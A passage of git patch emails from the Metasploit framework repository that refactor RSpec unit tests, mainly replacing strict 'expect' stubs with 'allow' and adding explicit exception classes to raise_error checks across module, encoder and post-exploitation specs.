aa4d68414d..88f3e0d177 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -5,11 +5,11 @@ require 'msf/core/post/windows/mssql' RSpec.describe Msf::Post::Windows::MSSQL do let(:subject) do - mod = Module.new + mod = double(Module.new) mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ] - stubs.each { |meth| expect(mod).to receive(meth) } - expect(mod).to receive(:service_info).and_return({}) + stubs.each { |meth| allow(mod).to receive(meth) } + allow(mod).to receive(:service_info).and_return({}) mod end @@ -288,8 +288,8 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return false if service is invalid or pid is invalid' do expect(subject.impersonate_sql_user(nil)).to be_falsey - subject.impersonate_sql_user(pid: expect(nil)).to be_falsey - subject.impersonate_sql_user(pid: expect(0)).to be_falsey + expect(subject.impersonate_sql_user(pid: nil)).to be_falsey + expect(subject.impersonate_sql_user(pid: 0)).to be_falsey end context 'user has privs to impersonate' do @@ -361,7 +361,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return a string' do p = double('process') c = double('channel') - expect(p).to receive(:channel).and_return(c) + allow(p).to receive(:channel).and_return(c) allow(subject).to receive_message_chain('session.sys.process.execute').and_return(p) expect(c).to receive(:read).and_return('hello') expect(c).to receive(:read).and_return(nil) From 1521fd0a95061ff485d4cfb00d85f456047d3f6b Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 12:02:30 -0600 Subject: [PATCH 1560/2172] remove unnecessary message chain call --- spec/lib/msf/core/post/windows/mssql_spec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index 88f3e0d177..21819fa377 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -296,7 +296,6 @@ RSpec.describe Msf::Post::Windows::MSSQL do before(:each) do allow(subject).to receive_message_chain('session.sys.config.getuid').and_return('Superman') allow(subject).to receive_message_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege']) - allow(subject).to receive_message_chain('session.incognito').and_return(true) allow(subject).to receive_message_chain('session.sys.process.each_process').and_yield(process) end From 5b568f2e4bc2df62ba8a84c929d3bc7460acd2c5 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 12:13:10 -0600 Subject: [PATCH 1561/2172] added missing expectation wrapper --- spec/lib/msf/core/post/windows/runas_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 9402d01aec..92f022c572 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -76,7 +76,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - advapi32.to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + expect(advapi32).to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end @@ -86,7 +86,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - advapi32.to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + expect(advapi32).to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end From c5d77c34768b7c1214a062a509b2b66f81290d17 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 12:23:49 -0600 Subject: [PATCH 1562/2172] change stubs from expect to allow on directory_spec --- spec/lib/msf/core/modules/loader/directory_spec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index c37b8736f5..1ba1b722f8 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -33,9 +33,9 @@ RSpec.describe Msf::Modules::Loader::Directory do framework = double('Msf::Framework', :datastore => {}) events = double('Events') - expect(events).to receive(:on_module_load) - expect(events).to receive(:on_module_created) - expect(framework).to receive(:events).and_return(events) + allow(events).to receive(:on_module_load) + allow(events).to receive(:on_module_created) + allow(framework).to receive(:events).and_return(events) framework end From cd0d774db69fc5ee56fae3581a5a4b5a375c9a1a Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 12:41:03 -0600 Subject: [PATCH 1563/2172] replace deprecated unsub, and replace expecations with allows in base_spec --- spec/lib/msf/core/modules/loader/base_spec.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index d32fa8268b..1dace00ffb 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -477,15 +477,15 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without module_eval errors' do before(:each) do @namespace_module = double('Namespace Module') - expect(@namespace_module).to receive(:parent_path=) - expect(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) + allow(@namespace_module).to receive(:parent_path=) + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) metasploit_class = double('Metasploit Class', :parent => @namespace_module) allow(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) - expect(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) + allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) - expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + allow(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) @module_load_error_by_path = {} allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) @@ -539,7 +539,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with version compatibility' do before(:each) do - expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) + allow(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) allow(module_manager).to receive(:on_module_load) end @@ -583,7 +583,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - expect(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) + allow(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) end it 'should check if it is usable' do @@ -615,7 +615,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with usable metasploit_class' do before(:each) do # remove the mocked namespace_module since happy-path/real loading is occurring in this context - subject.unstub(:namespace_module_transaction) + allow(subject).to receive(:namespace_module_transaction).and_call_original end it 'should log load information' do From 1a36bcb5252880f8896a4f148908d1f68bf45a4d Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 13:07:33 -0600 Subject: [PATCH 1564/2172] Replace expect with allow the directory_spec --- spec/lib/msf/core/modules/loader/directory_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 1ba1b722f8..72ac2a0891 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -134,7 +134,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end before(:each) do - expect(subject).to receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) + allow(subject).to receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) end # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test From 5056321d34319c91cf406a95cc7982740538cc2f Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 13:42:54 -0600 Subject: [PATCH 1565/2172] replace before block expecations with allow statements comment out some before statements that seem to be causing a problem --- spec/support/shared/examples/msf/module/search.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb index 139f016676..18c8726123 100644 --- a/spec/support/shared/examples/msf/module/search.rb +++ b/spec/support/shared/examples/msf/module/search.rb @@ -34,7 +34,7 @@ shared_examples_for 'Msf::Module::Search' do end let(:opts) { Hash.new } - before { expect(subject).to receive(:fullname).and_return('/module') } + before { allow(subject).to receive(:fullname).and_return('/module') } subject { Msf::Module.new(opts) } accept = [] reject = [] @@ -44,7 +44,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a client module' do - before { expect(subject).to receive(:stance).and_return('passive') } + # before { allow(subject).to receive(:stance).and_return('passive') } accept = %w(app:client) reject = %w(app:server) @@ -52,7 +52,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a server module' do - before { expect(subject).to receive(:stance).and_return('aggressive') } + # before { allow(subject).to receive(:stance).and_return('aggressive') } accept = %w(app:server) reject = %w(app:client) @@ -117,7 +117,7 @@ shared_examples_for 'Msf::Module::Search' do context 'on a module with a default RPORT of 5555' do before do - expect(subject).to receive(:datastore).and_return({ 'RPORT' => 5555 }) + allow(subject).to receive(:datastore).and_return({ 'RPORT' => 5555 }) end accept = %w(port:5555) @@ -133,7 +133,7 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a module with a #fullname of "blah"' do - before { expect(subject).to receive(:fullname).and_return('/c/d/e/blah') } + before { allow(subject).to receive(:fullname).and_return('/c/d/e/blah') } it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) it_should_behave_like 'search_filter', :accept => %w(path:blah), :reject => %w(path:foo) end @@ -147,7 +147,7 @@ shared_examples_for 'Msf::Module::Search' do all_module_types = Msf::MODULE_TYPES all_module_types.each do |mtype| context "on a #{mtype} module" do - before(:each) { expect(subject).to receive(:type).and_return(mtype) } + before(:each) { allow(subject).to receive(:type).and_return(mtype) } accept = ["type:#{mtype}"] reject = all_module_types.reject { |t| t == mtype }.map { |t| "type:#{t}" } From e8440f9798c24131e05d68c84dbf83f8c167b109 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 13:56:49 -0600 Subject: [PATCH 1566/2172] remove deprecated syntax from text_spec --- spec/lib/rex/text_spec.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index e6c3b50cda..66eb6214c5 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -185,7 +185,7 @@ RSpec.describe Rex::Text do (__) )\\ ||--|| * EOCOW - described_class.cowsay(moo(5)).should eq(cowsaid) + expect(described_class.cowsay(moo(5))).to eq(cowsaid) end it "should cowsay two lines correctly" do @@ -199,7 +199,7 @@ EOCOW (__) )\\ ||--|| * EOCOW - described_class.cowsay(moo(15)).should eq(cowsaid) + expect(described_class.cowsay(moo(15))).to eq(cowsaid) end it "should cowsay three+ lines correctly" do @@ -215,14 +215,14 @@ EOCOW (__) )\\ ||--|| * EOCOW - described_class.cowsay(moo(30)).should eq(cowsaid) + expect(described_class.cowsay(moo(30))).to eq(cowsaid) end it "should respect the wrap" do wrap = 40 + rand(100) cowsaid = described_class.cowsay(moo(1000), wrap) max_len = cowsaid.split(/\n/).map(&:length).sort.last - max_len.should eq(wrap) + expect(max_len).to eq(wrap) end end end From 9a596713308e7562f1f90b772d5eac15a1ad9209 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 14:07:34 -0600 Subject: [PATCH 1567/2172] switch expect to allow on runas_spec cases --- spec/lib/msf/core/post/windows/runas_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 92f022c572..bf8295294c 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -76,7 +76,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - expect(advapi32).to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + allow(advapi32).to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end @@ -86,7 +86,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - expect(advapi32).to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + allow(advapi32).to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end From d0d09097d56b24bde0ca26382c84104a79181aa1 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 14:20:15 -0600 Subject: [PATCH 1568/2172] stub out name on foo_inst in the option_container_spec --- spec/lib/msf/core/option_container_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 708a00ed31..b56ec8c3d8 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -11,7 +11,7 @@ RSpec.describe Msf::OptionContainer do :'evasion=' => nil, :'owner=' => nil ) - + allow(foo_inst).to receive(:name).and_return("thing") foo_class = double 'opt_class', name: 'thing', new: foo_inst From a96445b30229aefaf06aa7f7e5a5d7e21e12c765 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 14:31:43 -0600 Subject: [PATCH 1569/2172] switch out expect with a proper mock by allow --- .../shared/examples/msf/simple/framework/module_paths.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 28309c5dca..92c983d888 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -25,7 +25,7 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do # to init_module_paths doesn't get captured. framework - expect(Msf::Config).to receive(:user_module_directory).and_return(user_module_directory) + allow(Msf::Config).to receive(:user_module_directory).and_return(user_module_directory) end it 'should refresh module cache from database' do From 2a6db4092df1608829ecc23711bca88dc3f27bea Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 15:02:54 -0600 Subject: [PATCH 1570/2172] fix stub on Database specs --- spec/lib/metasploit/framework/database_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/metasploit/framework/database_spec.rb b/spec/lib/metasploit/framework/database_spec.rb index d8c4663ebe..3abdf6dcca 100644 --- a/spec/lib/metasploit/framework/database_spec.rb +++ b/spec/lib/metasploit/framework/database_spec.rb @@ -660,7 +660,7 @@ RSpec.describe Metasploit::Framework::Database do end before(:each) do - expect(Msf::Config).to receive(:get_config_root).and_return(config_root) + allow(Msf::Config).to receive(:get_config_root).and_return(config_root) end it 'is database.yml under the user config root' do From b29459747bd9652765cfb670e03724a5b7f214a0 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 16:46:51 -0600 Subject: [PATCH 1571/2172] stub out private meterpreter accessor method net --- spec/lib/msf/base/sessions/meterpreter_spec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/base/sessions/meterpreter_spec.rb b/spec/lib/msf/base/sessions/meterpreter_spec.rb index 12cd7da53f..768e3ad738 100644 --- a/spec/lib/msf/base/sessions/meterpreter_spec.rb +++ b/spec/lib/msf/base/sessions/meterpreter_spec.rb @@ -34,8 +34,9 @@ RSpec.describe Msf::Sessions::Meterpreter do subject(:connected_address) do m = described_class.new(StringIO.new(""), skip_ssl: true) - allow(m).to receive_message_chain(:net, :config, :get_interfaces).and_return(interfaces) - allow(m).to receive_message_chain(:net, :config, :get_routes).and_return(routes) + allow(m).to receive_message_chain(:private_methods, :net) + allow(m).to receive_message_chain(:private_methods, :net, :config, :get_interfaces).and_return(interfaces) + allow(m).to receive_message_chain(:private_methods, :net, :config, :get_routes).and_return(routes) m.session_host = session_host m.send(:find_internet_connected_address) From 99931aff448b429413bef61f935bf8aaa9bed168 Mon Sep 17 00:00:00 2001 From: Gregory Mikeska <greg_mikeska@rapid7.com> Date: Thu, 10 Dec 2015 12:24:07 -0600 Subject: [PATCH 1572/2172] Call stance only if module implements stance --- .../support/shared/examples/msf/module/search.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb index 18c8726123..3c5271ca8d 100644 --- a/spec/support/shared/examples/msf/module/search.rb +++ b/spec/support/shared/examples/msf/module/search.rb @@ -44,7 +44,13 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a client module' do - # before { allow(subject).to receive(:stance).and_return('passive') } + before do + if subject.respond_to? :stance + allow(subject).to receive(:stance).and_return('passive') + else + skip + end + end accept = %w(app:client) reject = %w(app:server) @@ -52,7 +58,13 @@ shared_examples_for 'Msf::Module::Search' do end context 'on a server module' do - # before { allow(subject).to receive(:stance).and_return('aggressive') } + before do + if subject.respond_to? :stance + allow(subject).to receive(:stance).and_return('aggressive') + else + skip + end + end accept = %w(app:server) reject = %w(app:client) From f59446851f9d90a262301f1c9c8c9cc696fa36f1 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 10 Dec 2015 21:17:21 -0600 Subject: [PATCH 1573/2172] update namespace --- spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb | 2 +- spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb b/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb index 3ddcb801a4..b80d991532 100644 --- a/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb +++ b/spec/lib/msf/core/exploit/smb/client/local_paths_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/data_store' -describe Msf::Exploit::Remote::SMB::Client::LocalPaths do +RSpec.describe Msf::Exploit::Remote::SMB::Client::LocalPaths do subject do mod = ::Msf::Module.new mod.extend described_class diff --git a/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb b/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb index 13ffc7852e..2053854d73 100644 --- a/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb +++ b/spec/lib/msf/core/exploit/smb/client/remote_paths_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/data_store' -describe Msf::Exploit::Remote::SMB::Client::RemotePaths do +RSpec.describe Msf::Exploit::Remote::SMB::Client::RemotePaths do subject do mod = ::Msf::Module.new mod.extend described_class From fb578e9063d9727cff4fd736113be1b89082fe84 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 10 Dec 2015 21:44:57 -0600 Subject: [PATCH 1574/2172] use explicit exceptions for raise_error --- spec/lib/msf/core/exploit/http/server_spec.rb | 4 +-- .../remote/browser_exploit_server_spec.rb | 2 +- spec/lib/msf/core/post/windows/runas_spec.rb | 16 ++++++------ spec/lib/rex/arch/x86_spec.rb | 2 +- .../rex/encoder/alpha2/alpha_mixed_spec.rb | 4 +-- .../rex/encoder/alpha2/alpha_upper_spec.rb | 4 +-- .../rex/encoder/alpha2/unicode_mixed_spec.rb | 4 +-- spec/lib/rex/mac_oui_spec.rb | 16 ++++++------ .../rex/random_identifier_generator_spec.rb | 2 +- spec/lib/rex/sslscan/result_spec.rb | 26 +++++++++---------- spec/lib/rex/sslscan/scanner_spec.rb | 8 +++--- 11 files changed, 44 insertions(+), 44 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index b3c10e7af7..5fbb67bd59 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -44,7 +44,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do server_module.add_resource('Path' => 'foo') - expect { server_module.add_resource('Path' => 'foo') }.to raise_error + expect { server_module.add_resource('Path' => 'foo') }.to raise_error(RuntimeError) end end @@ -82,7 +82,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do expect(mock_service).to receive(:add_resource).ordered.and_raise(RuntimeError) - expect { server_module.hardcoded_uripath('foo') }.to raise_error + expect { server_module.hardcoded_uripath('foo') }.to raise_error(RuntimeError) end end diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 5eede70d26..fcff2134ee 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -154,7 +154,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do fake_browser_info = nil expect { server.on_request_exploit(fake_cli, fake_request, fake_browser_info) - }.to raise_error + }.to raise_error(NoMethodError) end end diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index bf8295294c..c8aedfe8d2 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -111,11 +111,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return an exception when given an empty string" do - expect { subject.parse_process_information("") }.to raise_error + expect { subject.parse_process_information("") }.to raise_error(ArgumentError) end it "should return an exception when given an nil value" do - expect { subject.parse_process_information(nil) }.to raise_error + expect { subject.parse_process_information(nil) }.to raise_error(ArgumentError) end end @@ -131,11 +131,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return an exception when username is nil" do - expect { subject.check_user_format(nil, domain) }.to raise_error + expect { subject.check_user_format(nil, domain) }.to raise_error(ArgumentError) end it "should return an exception when UPN format and domain supplied" do - expect { subject.check_user_format(upn_username, domain) }.to raise_error + expect { subject.check_user_format(upn_username, domain) }.to raise_error(ArgumentError) end it "should return true when UPN format and domain is nil" do @@ -175,11 +175,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should raise an exception when max_length is nil" do - expect { subject.check_command_length(nil, nil, nil) }.to raise_error + expect { subject.check_command_length(nil, nil, nil) }.to raise_error(ArgumentError) end it "should raise an exception when application_name and command_line are nil" do - expect { subject.check_command_length(nil, nil, max_length) }.to raise_error + expect { subject.check_command_length(nil, nil, max_length) }.to raise_error(ArgumentError) end it "should return true when application_name is set and command_line is nil" do @@ -191,11 +191,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should raise an exception when command_line is larger than max_length" do - expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error + expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error(TypeError) end it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do - expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error + expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error(TypeError) end it "should return true when application_name is nil and command_module is less than MAX_PATH" do diff --git a/spec/lib/rex/arch/x86_spec.rb b/spec/lib/rex/arch/x86_spec.rb index 639f4c9ae1..7d5fa65f64 100644 --- a/spec/lib/rex/arch/x86_spec.rb +++ b/spec/lib/rex/arch/x86_spec.rb @@ -915,7 +915,7 @@ RSpec.describe Rex::Arch::X86 do context "when reg is invalid" do let(:reg) { 31337 } let(:val) { 0x7 } - it { expect {subject}.to raise_error } + it { expect {subject}.to raise_error(ArgumentError) } end end diff --git a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb index 3c482e2c47..521f40867d 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb @@ -47,7 +47,7 @@ RSpec.describe Rex::Encoder::Alpha2::AlphaMixed do let(:offset) { 33 } it "raises an error" do - expect { decoder_prefix }.to raise_error + expect { decoder_prefix }.to raise_error(RuntimeError) end end @@ -254,7 +254,7 @@ RSpec.describe Rex::Encoder::Alpha2::AlphaMixed do let(:offset) { 33 } it "raises an error" do - expect { decoder }.to raise_error + expect { decoder }.to raise_error(RuntimeError) end end diff --git a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb index 14a092b4ba..98d938a279 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb @@ -53,7 +53,7 @@ RSpec.describe Rex::Encoder::Alpha2::AlphaUpper do let(:offset) { 25 } it "raises an error" do - expect { decoder_prefix }.to raise_error + expect { decoder_prefix }.to raise_error(RuntimeError) end end @@ -260,7 +260,7 @@ RSpec.describe Rex::Encoder::Alpha2::AlphaUpper do let(:offset) { 25 } it "raises an error" do - expect { decoder }.to raise_error + expect { decoder }.to raise_error(RuntimeError) end end diff --git a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb index d0e158dbb4..79bd9d1240 100644 --- a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb +++ b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb @@ -47,7 +47,7 @@ RSpec.describe Rex::Encoder::Alpha2::UnicodeMixed do let(:offset) { 22 } it "raises an error" do - expect { decoder_prefix }.to raise_error + expect { decoder_prefix }.to raise_error(RuntimeError) end end end @@ -80,7 +80,7 @@ RSpec.describe Rex::Encoder::Alpha2::UnicodeMixed do let(:offset) { 22 } it "raises an error" do - expect { decoder }.to raise_error + expect { decoder }.to raise_error(RuntimeError) end end end diff --git a/spec/lib/rex/mac_oui_spec.rb b/spec/lib/rex/mac_oui_spec.rb index d065a049f8..744470527f 100644 --- a/spec/lib/rex/mac_oui_spec.rb +++ b/spec/lib/rex/mac_oui_spec.rb @@ -28,7 +28,7 @@ RSpec.describe Rex::Oui do context "when invalid mac format" do let(:mac) { 'invalid' } it "raises an error" do - expect { oui_fullname }.to raise_error + expect { oui_fullname }.to raise_error(RuntimeError) end end end @@ -57,7 +57,7 @@ RSpec.describe Rex::Oui do context "when invalid mac format" do let(:mac) { 'invalid' } it "raises an error" do - expect { oui_company_name }.to raise_error + expect { oui_company_name }.to raise_error(RuntimeError) end end end @@ -75,12 +75,12 @@ RSpec.describe Rex::Oui do end context "when invalid mac" do - it { expect { described_class.check_mac('AA') }.to raise_error } - it { expect { described_class.check_mac('AA:BB:CC:DD:JJ') }.to raise_error } - it { expect { described_class.check_mac('AA:BB') }.to raise_error } - it { expect { described_class.check_mac('AABB') }.to raise_error } - it { expect { described_class.check_mac('AA:BB:CC:DD:EE:FF:AA') }.to raise_error } - it { expect { described_class.check_mac('AABBCCDDEEFFAA') }.to raise_error } + it { expect { described_class.check_mac('AA') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AA:BB:CC:DD:JJ') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AA:BB') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AABB') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AA:BB:CC:DD:EE:FF:AA') }.to raise_error(RuntimeError) } + it { expect { described_class.check_mac('AABBCCDDEEFFAA') }.to raise_error(RuntimeError) } end end end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index e08b24b6a6..68652ad85c 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -100,7 +100,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do value = "a"*(options[:max_length]+1) rig.store(:spec0, value) expect(rig.get(:spec0)).to eq 